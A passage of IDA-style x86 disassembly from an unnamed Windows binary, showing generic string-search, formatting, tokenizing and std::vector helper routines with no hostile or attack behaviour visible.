; =============== S U B	R O U T	I N E =======================================



sub_13B43D0	proc near		; CODE XREF: sub_13AC5ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13AB6EE
		pop	esi
		retn	4
sub_13B43D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4400	proc near		; CODE XREF: sub_13AC0BCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_13B4413
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B4413:				; CODE XREF: sub_13B4400+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_13B4400	endp

; ---------------------------------------------------------------------------
aRrrr		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4430	proc near		; CODE XREF: sub_13AB42Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	near ptr 13E0C60h
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_13B4472
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	_vsnprintf	; _vsnprintf
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_13AB9D7


loc_13B4472:				; CODE XREF: sub_13B4430+13j
		add	esp, 2000h
		retn
sub_13B4430	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B44A0	proc near		; CODE XREF: sub_13AC120j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AB716
		retn	4
sub_13B44A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B44C0	proc near		; CODE XREF: sub_13AB716j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, strchr
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx ; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_13B44E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_13B44E4:				; CODE XREF: sub_13B44C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx ; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_13B44C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4510	proc near		; CODE XREF: sub_13ABCA2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13ABC07
		retn	4
sub_13B4510	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4530	proc near		; CODE XREF: sub_13ABC07j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13AC517
		pop	esi
		retn	8
sub_13B4530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4560	proc near		; CODE XREF: sub_13AB7E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC517
		retn	4
sub_13B4560	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4580	proc near		; CODE XREF: sub_13AC517j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_13B4595
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_13B4595:				; CODE XREF: sub_13B4580+Bj
		mov	eax, [esi+9]
		mov	ebx, strstr
		push	edi
		push	eax
		call	ebx ; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_13B45AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_13B45AF:				; CODE XREF: sub_13B4580+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx ; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_13B4580	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B45F0	proc near		; CODE XREF: sub_13AC05Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_13B4603
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B4603:				; CODE XREF: sub_13B45F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_13B4616
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B4616:				; CODE XREF: sub_13B45F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	near ptr 13E0C1Ah
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
sub_13B45F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4670	proc near		; CODE XREF: sub_13AB7D9j
		mov	eax, [ecx+11h]
		retn
sub_13B4670	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4690	proc near		; CODE XREF: sub_13AB6B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_13B4690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_13B46E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F80
		mov	ecx, esi
		call	sub_13ABC61
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+30h+var_10]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B46E2:				; CODE XREF: sub_13B4690+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_13AB824
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	near ptr 13E0C1Ah
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+3Ch+arg_4]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+40h+var_2C]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+40h+var_24]
		call	sub_13AB9D7
		push	ebx
		call	near ptr 13E0C02h
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+40h+var_28]
		mov	ecx, esi
		push	eax
		call	sub_13AB8C9
		lea	ecx, [esp+44h+var_2C]
		call	sub_13AB626
		mov	ecx, [esp+44h+var_14]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
sub_13B4690	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B47C0	proc near		; CODE XREF: sub_13AC22Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_13AB7D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_13AB6B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_13B47C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4800	proc near		; CODE XREF: sub_13ABD3Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	1
		mov	ecx, esi
		mov	[esp+0Ch+var_4], 0
		call	sub_13AC4F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_13B4800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4830	proc near		; CODE XREF: sub_13AB5EAj

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_13B4830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_13B4871
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F80
		mov	ecx, esi
		call	sub_13ABC61
		jmp	loc_13B49A4
; ---------------------------------------------------------------------------


loc_13B4871:				; CODE XREF: sub_13B4830+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_13ABA90
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_13ABC61
		lea	ecx, [esp+48h+var_28]
		mov	byte ptr [esp+48h+var_8], 2
		call	sub_13AB8D3
		mov	[esp+48h+var_40], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_13B4955
		push	ebx


loc_13B48B1:				; CODE XREF: sub_13B4830+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_13B48C0


loc_13B48B7:				; CODE XREF: sub_13B4830+8Ej
		inc	eax
		mov	[esp+4Ch+var_40], eax
		cmp	[eax], dl
		jz	short loc_13B48B7


loc_13B48C0:				; CODE XREF: sub_13B4830+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_13B48CF
		inc	eax
		mov	[esp+4Ch+var_40], eax


loc_13B48CF:				; CODE XREF: sub_13B4830+98j
		lea	edx, [esp+4Ch+var_40]
		lea	ecx, [esp+4Ch+var_38]
		push	edx
		call	sub_13ABD88
		mov	eax, [esp+50h+var_44]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_13B491F
		test	cl, cl
		jz	short loc_13B4907


loc_13B48EB:				; CODE XREF: sub_13B4830+D5j
		cmp	cl, 22h
		jnz	short loc_13B48FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_13B4907
		test	cl, cl
		jz	short loc_13B4907


loc_13B48FC:				; CODE XREF: sub_13B4830+BEj
		inc	eax
		mov	[esp+50h+var_44], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_13B48EB


loc_13B4907:				; CODE XREF: sub_13B4830+B9j
					; sub_13B4830+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_13B494A
		mov	byte ptr [eax],	0
		mov	eax, [esp+50h+var_44]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_13B494A
		add	eax, 2
		jmp	short loc_13B4946
; ---------------------------------------------------------------------------


loc_13B491F:				; CODE XREF: sub_13B4830+B5j
		test	cl, cl
		jz	short loc_13B4934
		mov	dl, [edi]


loc_13B4925:				; CODE XREF: sub_13B4830+102j
		cmp	cl, dl
		jz	short loc_13B4934
		inc	eax
		mov	[esp+50h+var_44], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_13B4925


loc_13B4934:				; CODE XREF: sub_13B4830+F1j
					; sub_13B4830+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_13B494A
		cmp	cl, [edi]
		jnz	short loc_13B494A
		mov	byte ptr [eax],	0
		mov	eax, [esp+50h+var_44]
		inc	eax


loc_13B4946:				; CODE XREF: sub_13B4830+EDj
		mov	[esp+50h+var_44], eax


loc_13B494A:				; CODE XREF: sub_13B4830+DAj
					; sub_13B4830+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_13B48B1
		pop	ebx


loc_13B4955:				; CODE XREF: sub_13B4830+7Aj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_13AB5F9
		mov	ecx, [esp+4Ch]
		cmp	ecx, eax
		jb	short loc_13B496D
		push	offset byte_446F80
		jmp	short loc_13B497A
; ---------------------------------------------------------------------------


loc_13B496D:				; CODE XREF: sub_13B4830+134j
		push	ecx
		lea	ecx, [esp+50h+var_3C]
		call	sub_13AC364
		mov	eax, [eax]
		push	eax


loc_13B497A:				; CODE XREF: sub_13B4830+13Bj
		mov	esi, [esp+54h+var_8]
		mov	ecx, esi
		call	sub_13ABC61
		lea	ecx, [esp+54h+var_34]
		mov	[esp+54h+var_48], 1
		call	sub_13AB626
		lea	ecx, [esp+54h+var_44]
		mov	[esp+54h+var_14], 0
		call	sub_13AB98C


loc_13B49A4:				; CODE XREF: sub_13B4830+3Cj
		mov	ecx, [esp+54h+var_1C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_13B4830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4A30	proc near		; CODE XREF: sub_13ABAAEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_13AB5EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_13B4A30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4A70	proc near		; CODE XREF: sub_13AC40Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13AB9D7
		pop	esi
		retn	4
sub_13B4A70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4AA0	proc near		; CODE XREF: sub_13ABE87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AB9D7
		retn	4
sub_13B4AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4AC0	proc near		; CODE XREF: sub_13AB86Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_13B4AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4AE0	proc near		; CODE XREF: sub_13AB89Cj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_13B4AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4B00	proc near		; CODE XREF: sub_13AB789j
		mov	eax, [ecx+9]
		retn
sub_13B4B00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4B20	proc near		; CODE XREF: sub_13ABBE4j
		mov	eax, [ecx+9]
		retn
sub_13B4B20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4B40	proc near		; CODE XREF: sub_13AB8D3j
		mov	eax, [ecx+9]
		retn
sub_13B4B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4B60	proc near		; CODE XREF: sub_13ABA90j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_13B4B60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4B90	proc near		; CODE XREF: sub_13AB98Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13ABDA6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_13AB5EF
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_13B4B90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4BE0	proc near		; CODE XREF: sub_13AB5F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_13B4BEA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13B4BEA:				; CODE XREF: sub_13B4BE0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_13B4BE0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4C10	proc near		; CODE XREF: sub_13AC364j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_13AB5F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_13B4C28
		mov	ecx, esi
		call	sub_13AC2E7


loc_13B4C28:				; CODE XREF: sub_13B4C10+Fj
		mov	ecx, esi
		call	sub_13AC11B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_13B4C10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4C50	proc near		; CODE XREF: sub_13ABD88j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13ABA4F
		push	eax
		mov	ecx, esi
		call	sub_13ABAEF
		pop	esi
		retn	4
sub_13B4C50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4C80	proc near		; CODE XREF: sub_13AC11Bj
		mov	eax, [ecx+4]
		retn
sub_13B4C80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4CA0	proc near		; CODE XREF: sub_13ABA4Fj
		mov	eax, [ecx+8]
		retn
sub_13B4CA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4CC0	proc near		; CODE XREF: sub_13ABAEFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_13AC11B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_13AB7CF
		mov	ecx, edi
		call	sub_13AC11B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_13B4CC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4D10	proc near		; CODE XREF: sub_13ABDA6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_13B4D30


loc_13B4D21:				; CODE XREF: sub_13B4D10+1Ej
		push	esi
		mov	ecx, edi
		call	sub_13ABCB1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_13B4D21


loc_13B4D30:				; CODE XREF: sub_13B4D10+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_13B4D10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_13B4D50:				; CODE XREF: sub_13AC2E7j
		push	0FFFFFFFFh
		push	offset byte_438AD9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset dword_443940
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	near ptr 13E0C52h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4DD0	proc near		; CODE XREF: sub_13AB5EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13B4DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4DF0	proc near		; CODE XREF: sub_13AB7CFj

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_13B4EBB
		mov	ecx, esi
		call	sub_13AB5F9
		cmp	edi, eax
		jnb	short loc_13B4E23
		mov	ecx, esi
		call	sub_13AB5F9
		mov	ebp, eax
		jmp	short loc_13B4E25
; ---------------------------------------------------------------------------


loc_13B4E23:				; CODE XREF: sub_13B4DF0+26j
		mov	ebp, edi


loc_13B4E25:				; CODE XREF: sub_13B4DF0+31j
		mov	ecx, esi
		call	sub_13AB5F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_13AC1CF
		mov	edx, [esp+18h+var_4]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB4CD
		mov	ecx, [esp+24h+var_8]
		mov	[esp+24h+var_C], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_13AC576
		mov	edx, [esp+30h+var_18]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+30h+var_1C]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB4CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13ABDA6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_13AB5EF
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_13AB5F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B4EBB:				; CODE XREF: sub_13B4DF0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_13B4F19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_13AB4CD
		mov	eax, [esi+8]
		mov	edx, [esp+1Ch]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_13AC576
		mov	edx, [esp+28h+var_C]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_13AC26F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B4F19:				; CODE XREF: sub_13B4DF0+D8j
		test	edi, edi
		jbe	short loc_13B4F53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_13AB4CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_13AC4AE
		mov	ecx, [esp+28h]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_13AC26F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_13B4F53:				; CODE XREF: sub_13B4DF0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_13B4DF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4FC0	proc near		; CODE XREF: sub_13ABCB1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_13B4FC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4FE0	proc near		; CODE XREF: sub_13AB4CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_13B5012
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_13B4FF6:				; CODE XREF: sub_13B4FE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_13AC521
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_13B4FF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
